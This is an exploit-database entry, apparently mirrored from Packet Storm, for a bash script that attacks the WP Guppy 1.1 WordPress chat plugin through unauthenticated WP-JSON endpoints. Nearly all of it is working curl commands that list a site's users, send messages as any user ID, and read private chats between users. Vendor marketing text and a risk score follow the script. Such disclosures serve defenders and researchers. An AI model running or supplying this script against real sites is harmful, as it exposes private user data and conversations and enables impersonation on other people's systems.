Lucene search
K

WordPress WP Guppy 1.1 Information Disclosure

🗓️ 23 Nov 2021 00:00:00Reported by Keyvan HardaniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 377 Views

WordPress WP Guppy 1.1 Information Disclosure

Code
`# Exploit Title: Wordpress Plugin WP Guppy 1.1 - WP-JSON API Sensitive Information Disclosure  
# Exploit Author: Keyvan Hardani  
# Date: 22/11/2021  
# Vendor Homepage: https://wp-guppy.com/  
# Version: up to 1.1  
# Tested on: Kali Linux - Windows 10 - Wordpress 5.8.x and apache2  
# Usage ./exploit.sh -h  
  
#!/bin/bash  
  
Help()  
{  
# Display Help  
echo "Usage"  
echo  
echo "Wordpress Plugin WP Guppy - A live chat - WP_JSON API Sensitive Information Disclosure"  
echo  
echo "Option 1: Get all users ( ./exploit.sh 1 domain.com)"  
echo "Option 2: Send message from / to other users ( ./exploit.sh 2 domain.com 1493 1507 ) => Senderid=1493 & Receiverid=1507"  
echo "Option 3: Get the chats between users ( ./exploit.sh 3 domain.com 1507 1493) => Receiverid=1493 & Userid= 1493"  
echo "-h Print this Help."  
echo  
}  
  
while getopts ":h" option; do  
case $option in  
h) # display Help  
Help  
exit;;  
esac  
done  
  
if [ $1 == 1 ]  
then  
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=" | python -m json.tool  
fi  
  
if [ $1 == 2 ]  
then  
curl -s -X POST --url "https://$2/wp-json/guppy/v2/send-guppy-message" --data '{"receiverId":"'$3'","userId":"'$4'","guppyGroupId":"","chatType":1,"message":"test","replyTo":"","latitude":"","longitude":"","messageType":0,"messageStatus":0,"replyId":"","timeStamp":1637583213,"messageSentTime":"November 22, 2021","metaData":{"randNum":5394},"isSender":true}' -H 'Content-Type: application/json'| python -m json.tool  
fi  
if [ $1 == 3 ]  
then  
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-user-chat?offset=0&receiverId=$3&userId=$4&chatType=1" | python -m json.tool  
fi  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2021 00:00Current
7.1High risk
Vulners AI Score7.1
377